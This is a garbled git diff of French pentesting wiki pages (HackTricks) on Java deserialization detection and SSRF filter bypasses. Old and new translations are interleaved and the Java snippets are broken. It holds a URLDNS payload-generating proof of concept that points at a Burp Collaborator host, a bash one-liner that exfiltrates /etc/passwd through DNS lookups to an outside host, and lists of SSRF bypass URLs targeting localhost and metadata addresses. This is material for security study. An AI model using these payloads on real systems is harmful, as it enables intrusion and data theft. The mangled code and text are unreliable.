||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Requête DNS sur la désérialisation
|
||||
## Requête DNS lors de la désérialisation
|
||||
|
||||
La classe `java.net.URL` implémente `Serializable`, ce qui signifie que cette classe peut être sérialisée.
|
||||
La classe `java.net.URL` implémente `Serializable`, cela signifie que cette classe peut être sérialisée.
|
||||
```java
|
||||
public final class URL implements java.io.Serializable {
|
||||
```
|
||||
Cette classe a un comportement curieux. Selon la documentation : "**Deux hôtes sont considérés comme équivalents si les deux noms d'hôtes peuvent être résolus en mêmes adresses IP**".\
|
||||
Ainsi, chaque fois qu'un objet URL appelle **n'importe quelle** des fonctions **`equals`** ou **`hashCode`**, une **requête DNS** pour obtenir l'adresse IP va être **envoyée**.
|
||||
```markdown
|
||||
Cette classe a un **comportement curieux.** D'après la documentation : "**Deux hôtes sont considérés équivalents si les noms d'hôte peuvent être résolus en les mêmes adresses IP**".
|
||||
Ainsi, chaque fois qu'un objet URL appelle **l'une quelconque** des **fonctions `equals`** ou **`hashCode`**, une **requête DNS** pour obtenir l'adresse IP va être **envoyée**.
|
||||
|
||||
**Appeler** la fonction **`hashCode`** **d'un objet URL** est assez facile, il suffit d'insérer cet objet dans une `HashMap` qui va être désérialisée. Cela est dû au fait qu'à la fin de la fonction **`readObject`** de `HashMap`, ce code est exécuté :
|
||||
**Appeler** la fonction **`hashCode`** **depuis** un objet **URL** est assez simple, il suffit d'insérer cet objet dans un `HashMap` qui va être désérialisé. Cela est dû au fait qu'**à la fin** de la fonction **`readObject`** de `HashMap`, ce code est exécuté :
|
||||
```
|
||||
```java
|
||||
private void readObject(java.io.ObjectInputStream s)
|
||||
throws IOException, ClassNotFoundException {
|
||||
[ ... ]
|
||||
for (int i = 0; i < mappings; i++) {
|
||||
[ ... ]
|
||||
putVal(hash(key), key, value, false, false);
|
||||
}
|
||||
```
|
||||
Il va **exécuter** `putVal` avec chaque valeur à l'intérieur de la `HashMap`. Mais, plus important est l'appel à `hash` avec chaque valeur. Voici le code de la fonction `hash`:
|
||||
```java
|
||||
static final int hash(Object key) {
|
||||
int h;
|
||||
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
|
||||
throws IOException, ClassNotFoundException {
|
||||
[ ... ]
|
||||
for (int i = 0; i < mappings; i++) {
|
||||
[ ... ]
|
||||
putVal(hash(key), key, value, false, false);
|
||||
}
|
||||
```
|
||||
Comme vous pouvez l'observer, lors de la désérialisation d'une `HashMap`, la fonction `hash` va être exécutée avec chaque objet et pendant l'exécution de `hash`, la méthode `.hashCode()` de l'objet va être exécutée. Par conséquent, si vous désérialisez une `HashMap` contenant un objet `URL`, l'objet `URL` exécutera `.hashCode()`.
|
||||
|
||||
Maintenant, examinons le code de `URLObject.hashCode()`:
|
||||
Il va **exécuter** `putVal` avec chaque valeur à l'intérieur du `HashMap`. Mais, plus pertinent est l'appel à `hash` avec chaque valeur. Voici le code de la fonction `hash` :
|
||||
```java
|
||||
public synchronized int hashCode() {
|
||||
if (hashCode != -1)
|
||||
return hashCode;
|
||||
|
||||
hashCode = handler.hashCode(this);
|
||||
return hashCode;
|
||||
static final int hash(Object key) {
|
||||
int h;
|
||||
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
|
||||
}
|
||||
```
|
||||
Comme vous pouvez le voir, lorsque `URLObject` exécute `.hashCode()`, cela appelle `hashCode(this)`. Ensuite, vous pouvez voir le code de cette fonction :
|
||||
Comme vous pouvez le constater, **lors de la désérialisation** d'une **`HashMap`**, la fonction `hash` va **être exécutée avec chaque objet** et **pendant** l'exécution de **`hash`**, **`.hashCode()` de l'objet va être exécuté**. Par conséquent, si vous **désérialisez** une **`HashMap`** **contenant** un objet **URL**, l'**objet URL** va **exécuter** `.hashCode()`.
|
||||
|
||||
Maintenant, jetons un œil au code de `URLObject.hashCode()` :
|
||||
```java
|
||||
protected int hashCode(URL u) {
|
||||
int h = 0;
|
||||
public synchronized int hashCode() {
|
||||
if (hashCode != -1)
|
||||
return hashCode;
|
||||
|
||||
// Generate the protocol part.
|
||||
String protocol = u.getProtocol();
|
||||
if (protocol != null)
|
||||
h += protocol.hashCode();
|
||||
|
||||
// Generate the host part.
|
||||
InetAddress addr = getHostAddress(u);
|
||||
[ ... ]
|
||||
hashCode = handler.hashCode(this);
|
||||
return hashCode;
|
||||
```
|
||||
Vous pouvez voir qu'un `getHostAddress` est exécuté sur le domaine, **lancant une requête DNS**.
|
||||
Comme vous pouvez le voir, lorsqu'un `URLObject` exécute `.hashCode()`, il appelle `hashCode(this)`. Ci-dessous, vous pouvez voir le code de cette fonction :
|
||||
```java
|
||||
protected int hashCode(URL u) {
|
||||
int h = 0;
|
||||
|
||||
Par conséquent, cette classe peut être **abusée** afin de **lancer** une **requête DNS** pour **démontrer** que la **désérialisation** est possible, voire même pour **exfiltrer des informations** (vous pouvez ajouter en tant que sous-domaine la sortie d'une exécution de commande).
|
||||
// Generate the protocol part.
|
||||
String protocol = u.getProtocol();
|
||||
if (protocol != null)
|
||||
h += protocol.hashCode();
|
||||
|
||||
// Generate the host part.
|
||||
InetAddress addr = getHostAddress(u);
|
||||
[ ... ]
|
||||
```
|
||||
Vous pouvez voir qu'un `getHostAddress` est exécuté sur le domaine, **lançant une requête DNS**.
|
||||
|
||||
Par conséquent, cette classe peut être **exploitée** afin de **lancer** une **requête DNS** pour **démontrer** que la **désérialisation** est possible, ou même pour **exfiltrer des informations** (vous pouvez ajouter en tant que sous-domaine le résultat de l'exécution d'une commande).
|
||||
|
||||
### Exemple de code de charge utile URLDNS
|
||||
|
||||
Vous pouvez trouver le [code de charge utile URDNS de ysoserial ici](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java). Cependant, juste pour faciliter la compréhension de la façon de le coder, j'ai créé ma propre preuve de concept (basée sur celle de ysoserial) :
|
||||
Vous pouvez trouver [le code de charge utile URDNS de ysoserial ici](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java). Cependant, juste pour faciliter la compréhension de la façon de le coder, j'ai créé mon propre PoC (basé sur celui de ysoserial) :
|
||||
```java
|
||||
import java.io.File;
|
||||
import java.io.FileInputStream;
|
||||
|
@ -85,69 +91,69 @@ import java.util.HashMap;
|
|||
import java.net.URL;
|
||||
|
||||
public class URLDNS {
|
||||
public static void GeneratePayload(Object instance, String file)
|
||||
throws Exception {
|
||||
//Serialize the constructed payload and write it to the file
|
||||
File f = new File(file);
|
||||
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
|
||||
out.writeObject(instance);
|
||||
out.flush();
|
||||
out.close();
|
||||
}
|
||||
public static void payloadTest(String file) throws Exception {
|
||||
//Read the written payload and deserialize it
|
||||
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
|
||||
Object obj = in.readObject();
|
||||
System.out.println(obj);
|
||||
in.close();
|
||||
}
|
||||
|
||||
public static void main(final String[] args) throws Exception {
|
||||
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
|
||||
HashMap ht = new HashMap(); // HashMap that will contain the URL
|
||||
URLStreamHandler handler = new SilentURLStreamHandler();
|
||||
URL u = new URL(null, url, handler); // URL to use as the Key
|
||||
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
|
||||
public static void GeneratePayload(Object instance, String file)
|
||||
throws Exception {
|
||||
//Serialize the constructed payload and write it to the file
|
||||
File f = new File(file);
|
||||
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
|
||||
out.writeObject(instance);
|
||||
out.flush();
|
||||
out.close();
|
||||
}
|
||||
public static void payloadTest(String file) throws Exception {
|
||||
//Read the written payload and deserialize it
|
||||
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
|
||||
Object obj = in.readObject();
|
||||
System.out.println(obj);
|
||||
in.close();
|
||||
}
|
||||
|
||||
// During the put above, the URL's hashCode is calculated and cached.
|
||||
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
|
||||
final Field field = u.getClass().getDeclaredField("hashCode");
|
||||
field.setAccessible(true);
|
||||
field.set(u, -1);
|
||||
|
||||
//Test the payloads
|
||||
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
|
||||
}
|
||||
public static void main(final String[] args) throws Exception {
|
||||
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
|
||||
HashMap ht = new HashMap(); // HashMap that will contain the URL
|
||||
URLStreamHandler handler = new SilentURLStreamHandler();
|
||||
URL u = new URL(null, url, handler); // URL to use as the Key
|
||||
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
|
||||
|
||||
// During the put above, the URL's hashCode is calculated and cached.
|
||||
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
|
||||
final Field field = u.getClass().getDeclaredField("hashCode");
|
||||
field.setAccessible(true);
|
||||
field.set(u, -1);
|
||||
|
||||
//Test the payloads
|
||||
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
class SilentURLStreamHandler extends URLStreamHandler {
|
||||
|
||||
protected URLConnection openConnection(URL u) throws IOException {
|
||||
return null;
|
||||
}
|
||||
protected URLConnection openConnection(URL u) throws IOException {
|
||||
return null;
|
||||
}
|
||||
|
||||
protected synchronized InetAddress getHostAddress(URL u) {
|
||||
return null;
|
||||
}
|
||||
protected synchronized InetAddress getHostAddress(URL u) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
```
|
||||
### Plus d'informations
|
||||
|
||||
* [https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/)
|
||||
* Dans l'idée originale, la charge utile de commons collections a été modifiée pour effectuer une requête DNS, ce qui était moins fiable que la méthode proposée, mais voici le post : [https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
|
||||
* Dans l'idée originale, le payload de commons collections a été modifié pour effectuer une requête DNS, c'était moins fiable que la méthode proposée, mais voici le post : [https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
|
||||
|
||||
## GadgetProbe
|
||||
|
||||
Vous pouvez télécharger [**GadgetProbe**](https://github.com/BishopFox/GadgetProbe) depuis le Burp Suite App Store (Extender).
|
||||
|
||||
**GadgetProbe** essaiera de déterminer si certaines **classes Java existent** sur la classe Java du serveur afin que vous puissiez savoir **si** il est **vulnérable** à une certaine exploitation connue.
|
||||
**GadgetProbe** va essayer de déterminer si certaines **classes Java existent** dans la classe Java du serveur pour que vous puissiez savoir **si** elle est **vulnérable** à certains exploits connus.
|
||||
|
||||
### Comment ça marche
|
||||
### Comment ça fonctionne
|
||||
|
||||
**GadgetProbe** utilisera la même **charge utile DNS de la section précédente** mais **avant** d'exécuter la requête DNS, il **essaiera de désérialiser une classe arbitraire**. Si la **classe arbitraire existe**, la **requête DNS** sera **envoyée** et GadgProbe notera que cette classe existe. Si la **requête DNS** n'est **jamais envoyée**, cela signifie que la **classe arbitraire n'a pas été désérialisée** avec succès, donc soit elle n'est pas présente, soit elle n'est pas sérialisable/exploitable.
|
||||
**GadgetProbe** utilisera le même **payload DNS de la section précédente** mais **avant** d'exécuter la requête DNS, il va **essayer de désérialiser une classe arbitraire**. Si la **classe arbitraire existe**, la **requête DNS** sera **envoyée** et GadgetProbe notera que cette classe existe. Si la **requête DNS** n'est **jamais envoyée**, cela signifie que la **classe arbitraire n'a pas été désérialisée** avec succès donc soit elle n'est pas présente, soit elle n'est **pas sérialisable/exploitable**.
|
||||
|
||||
Dans le github, [**GadgetProbe a des listes de mots**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists) avec des classes Java à tester.
|
||||
À l'intérieur du github, [**GadgetProbe a des listes de mots**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists) avec des classes Java à tester.
|
||||
|
||||
![](<../../.gitbook/assets/intruder4 (1) (1) (1).gif>)
|
||||
|
||||
|
@ -155,53 +161,55 @@ Dans le github, [**GadgetProbe a des listes de mots**](https://github.com/Bishop
|
|||
|
||||
* [https://know.bishopfox.com/research/gadgetprobe](https://know.bishopfox.com/research/gadgetprobe)
|
||||
|
||||
## Scanner de désérialisation Java
|
||||
## Scanner de Désérialisation Java
|
||||
|
||||
Ce scanner peut être **téléchargé** depuis le Burp App Store (**Extender**).\
|
||||
L'**extension** a des **capacités passives** et **actives**.
|
||||
L'**extension** a des **capacités** **passives** et actives.
|
||||
|
||||
### Passif
|
||||
|
||||
Par défaut, il **vérifie passivement** toutes les requêtes et réponses envoyées **à la recherche de bytes magiques sérialisés Java** et présentera une alerte de vulnérabilité si l'un d'eux est trouvé :
|
||||
Par défaut, il **vérifie passivement** toutes les requêtes et réponses envoyées **à la recherche** de **bytes magiques de sérialisation Java** et présentera un avertissement de vulnérabilité si l'un est trouvé :
|
||||
|
||||
![](<../../.gitbook/assets/image (290).png>)
|
||||
|
||||
### Actif
|
||||
|
||||
**Test manuel**
|
||||
**Test Manuel**
|
||||
|
||||
Vous pouvez sélectionner une requête, cliquer avec le bouton droit et `Envoyer la requête à DS - Test manuel`.\
|
||||
Ensuite, dans l'onglet _Deserialization Scanner_ --> _Onglet de test manuel_, vous pouvez sélectionner le **point d'insertion**. Et **lancer le test** (Sélectionnez l'attaque appropriée en fonction de l'encodage utilisé).
|
||||
Vous pouvez sélectionner une requête, cliquer avec le bouton droit et `Envoyer la requête à DS - Test Manuel`.\
|
||||
Ensuite, dans l'onglet _Scanner de Désérialisation_ --> onglet _Test Manuel_, vous pouvez sélectionner le **point d'insertion**. Et **lancer le test** (Sélectionnez l'attaque appropriée en fonction de l'encodage utilisé).
|
||||
|
||||
![](../../.gitbook/assets/3-1.png)
|
||||
|
||||
Même si cela s'appelle "Test manuel", c'est assez **automatisé**. Il vérifiera automatiquement si la **désérialisation** est **vulnérable** à **n'importe quelle charge utile ysoserial** en vérifiant les bibliothèques présentes sur le serveur web et mettra en évidence celles qui sont vulnérables. Pour **vérifier** les **bibliothèques vulnérables**, vous pouvez choisir de lancer des **Sleeps Javas**, des **sleeps** via **la consommation CPU**, ou en utilisant **DNS** comme cela a été mentionné précédemment.
|
||||
Même si cela s'appelle "Test Manuel", c'est assez **automatisé**. Il vérifiera automatiquement si la **désérialisation** est **vulnérable** à **n'importe quel payload ysoserial** en vérifiant les bibliothèques présentes sur le serveur web et mettra en évidence celles qui sont vulnérables. Pour **vérifier** les **bibliothèques vulnérables**, vous pouvez choisir de lancer des **Java Sleeps**, des **sleeps** via la **consommation CPU**, ou en utilisant **DNS** comme cela a été mentionné précédemment.
|
||||
|
||||
**Exploitation**
|
||||
|
||||
Une fois que vous avez identifié une bibliothèque vulnérable, vous pouvez envoyer la requête à l'onglet _Exploiting_.\
|
||||
Dans cet onglet, vous devez **sélectionner** le **point d'injection** à nouveau, écrire la **bibliothèque vulnérable** pour laquelle vous voulez créer une charge utile, et la **commande**. Ensuite, appuyez simplement sur le bouton d'**attaque** approprié.
|
||||
Une fois que vous avez identifié une bibliothèque vulnérable, vous pouvez envoyer la requête à l'onglet _Exploitation_.\
|
||||
Dans cet onglet, vous devez **sélectionner** le **point d'injection** à nouveau, et **écrire** la **bibliothèque vulnérable** pour laquelle vous souhaitez créer un payload, et la **commande**. Ensuite, appuyez simplement sur le bouton **Attaque** approprié.
|
||||
|
||||
![](<../../.gitbook/assets/4 (1).png>)
|
||||
|
||||
### Informations d'exfiltration DNS de désérialisation Java
|
||||
### Informations sur l'exfiltration DNS de Désérialisation Java
|
||||
|
||||
Faites en sorte que votre charge utile exécute quelque chose comme ce qui suit :
|
||||
Faites en sorte que votre payload exécute quelque chose comme ce qui suit :
|
||||
```bash
|
||||
(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)
|
||||
```
|
||||
### Plus d'informations
|
||||
|
||||
* [https://techblog.mediaservice.net/2017/05/decouverte-et-exploitation-fiable-des-vulnerabilites-de-deserialisation-java/](https://techblog.mediaservice.net/2017/05/decouverte-et-exploitation-fiable-des-vulnerabilites-de-deserialisation-java/)
|
||||
* [https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,19 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des analyses de menace proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) dès aujourd'hui.
|
||||
Trouvez les vulnérabilités les plus importantes pour les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des scans de menaces proactifs, trouve des problèmes dans toute votre pile technologique, des API aux applications web et systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
@ -89,9 +91,11 @@ http://bugbounty.dod.network = 127.0.0.2 (localhost)
|
|||
1ynrnhl.xip.io == 169.254.169.254
|
||||
spoofed.burpcollaborator.net = 127.0.0.1
|
||||
```
|
||||
Le **module d'extension Burp** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) implémente des contournements de formatage IP.
|
||||
![](<../../.gitbook/assets/image (649) (1) (1).png>)
|
||||
|
||||
### Analyseur de domaine
|
||||
L'**extension Burp** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) implémente des contournements de formatage d'IP.
|
||||
|
||||
### Analyseur de Domaine
|
||||
```bash
|
||||
https:attacker.com
|
||||
https:/attacker.com
|
||||
|
@ -121,16 +125,6 @@ attacker。com
|
|||
ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
|
||||
```
|
||||
### Confusion de domaine
|
||||
|
||||
Domain confusion is a technique used in server-side request forgery (SSRF) attacks to bypass URL-based filters. It takes advantage of the fact that some URL parsers may interpret certain characters differently, allowing an attacker to trick the application into making requests to unintended targets.
|
||||
|
||||
In a typical SSRF attack, an attacker can specify a URL in a vulnerable parameter, which the application will then fetch and return the response. However, if the application has implemented URL-based filters to restrict certain domains or IP addresses, the attacker's requests may be blocked.
|
||||
|
||||
To bypass these filters, the attacker can use domain confusion. This involves manipulating the URL in a way that the parser interprets it differently from how the application does. For example, the attacker can use different representations of the same character, such as using a Unicode character that looks similar to a regular ASCII character.
|
||||
|
||||
By using domain confusion, the attacker can trick the application into making requests to restricted domains or IP addresses. This can be particularly useful when the application uses a whitelist-based approach to allow only specific domains or IP addresses.
|
||||
|
||||
It is important for developers to be aware of domain confusion and implement proper input validation and sanitization techniques to prevent SSRF attacks. Additionally, web application firewalls (WAFs) can be used to detect and block requests that exhibit suspicious URL patterns.
|
||||
```bash
|
||||
# Try also to change attacker.com for 127.0.0.1 to try to access localhost
|
||||
# Try replacing https by http
|
||||
|
@ -165,9 +159,9 @@ http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
|
|||
#Parameter pollution
|
||||
next={domain}&next=attacker.com
|
||||
```
|
||||
### Contournement des chemins et extensions
|
||||
### Contournement des chemins et des extensions
|
||||
|
||||
Si vous devez vous assurer que l'URL se termine par un chemin ou une extension, ou qu'elle contient un chemin, vous pouvez essayer l'un des contournements suivants :
|
||||
Si vous devez utiliser une URL qui se termine par un chemin ou une extension, ou qui doit contenir un chemin, vous pouvez essayer l'un des contournements suivants :
|
||||
```
|
||||
https://metadata/vulerable/path#/expected/path
|
||||
https://metadata/vulerable/path#.extension
|
||||
|
@ -175,12 +169,12 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
|
|||
```
|
||||
### Fuzzing
|
||||
|
||||
L'outil [**recollapse**](https://github.com/0xacb/recollapse) peut générer des variations à partir d'une entrée donnée pour essayer de contourner l'expression régulière utilisée. Consultez [**cet article**](https://0xacb.com/2022/11/21/recollapse/) pour plus d'informations.
|
||||
L'outil [**recollapse**](https://github.com/0xacb/recollapse) peut générer des variations à partir d'une entrée donnée pour essayer de contourner la regex utilisée. Consultez [**cet article**](https://0xacb.com/2022/11/21/recollapse/) également pour plus d'informations.
|
||||
|
||||
### Contournement via redirection
|
||||
|
||||
Il est possible que le serveur **filtre la requête d'origine** d'une SSRF **mais pas** une éventuelle réponse de **redirection** à cette requête.\
|
||||
Par exemple, un serveur vulnérable à une SSRF via : `url=https://www.google.com/` pourrait **filtrer le paramètre url**. Mais si vous utilisez un [serveur python pour répondre avec un code 302](https://pastebin.com/raw/ywAUhFrv) à l'endroit où vous souhaitez rediriger, vous pourriez être en mesure d'**accéder à des adresses IP filtrées** telles que 127.0.0.1 ou même à des **protocoles filtrés** comme gopher.\
|
||||
Il est possible que le serveur **filtre la requête originale** d'une SSRF **mais pas** une réponse de **redirection** possible à cette requête.\
|
||||
Par exemple, un serveur vulnérable à SSRF via : `url=https://www.google.com/` pourrait **filtrer le paramètre url**. Mais si vous utilisez un [serveur python pour répondre avec un 302](https://pastebin.com/raw/ywAUhFrv) vers l'endroit où vous souhaitez rediriger, vous pourriez être capable d'**accéder à des adresses IP filtrées** comme 127.0.0.1 ou même des **protocoles filtrés** comme gopher.\
|
||||
[Consultez ce rapport.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
|
